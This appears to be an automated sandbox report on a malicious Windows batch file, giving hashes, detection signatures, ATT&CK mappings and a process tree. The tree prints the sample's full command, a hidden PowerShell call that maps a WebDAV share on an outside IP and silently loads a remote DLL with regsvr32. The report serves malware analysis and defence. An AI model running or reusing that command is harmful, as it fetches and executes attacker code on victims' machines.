5b2ece37bbf22c806f0d753312e1526e795ec3ce0059eaf45378f425d811ec11

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 03:54

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General

Target

2898271643604834.bat
Size

18KB
MD5

99cf2907e301f5e1286a48af0650a864
SHA1

bf4e8a56f7d26ccce8f473bfc08cddf6c03320d1
SHA256

5b2ece37bbf22c806f0d753312e1526e795ec3ce0059eaf45378f425d811ec11
SHA512

9b3fc7c5dee5699680a1a331af724b61dc9fb7b2a5262497810201cd6bfa17eeb9292eead284cdbc0a2269c8fb52c0e859ba4e6148d48f11f7ab2ba081db6c16
SSDEEP

384:OFvJoKyCI0wqN+J13ydZuAn/H5QyXQaOPHmjCI+JvL3731vt:tKy7pY+JCZuO/ZQTmjCbJvL3z1vt

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2564	wordpad.exe
2564	wordpad.exe
2564	wordpad.exe
2564	wordpad.exe
2564	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2564	2676	cmd.exe	32
PID 2676 wrote to memory of 2564	2676	cmd.exe	32
PID 2676 wrote to memory of 2564	2676	cmd.exe	32
PID 2676 wrote to memory of 2728	2676	cmd.exe	33
PID 2676 wrote to memory of 2728	2676	cmd.exe	33
PID 2676 wrote to memory of 2728	2676	cmd.exe	33
PID 2728 wrote to memory of 2592	2728	powershell.exe	35
PID 2728 wrote to memory of 2592	2728	powershell.exe	35
PID 2728 wrote to memory of 2592	2728	powershell.exe	35
PID 2728 wrote to memory of 2944	2728	powershell.exe	36
PID 2728 wrote to memory of 2944	2728	powershell.exe	36
PID 2728 wrote to memory of 2944	2728	powershell.exe	36
PID 2728 wrote to memory of 2944	2728	powershell.exe	36
PID 2728 wrote to memory of 2944	2728	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2898271643604834.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\7802111524443.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2592
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\7802111524443.dll
    3⤵
    PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2728-23-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2728-22-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download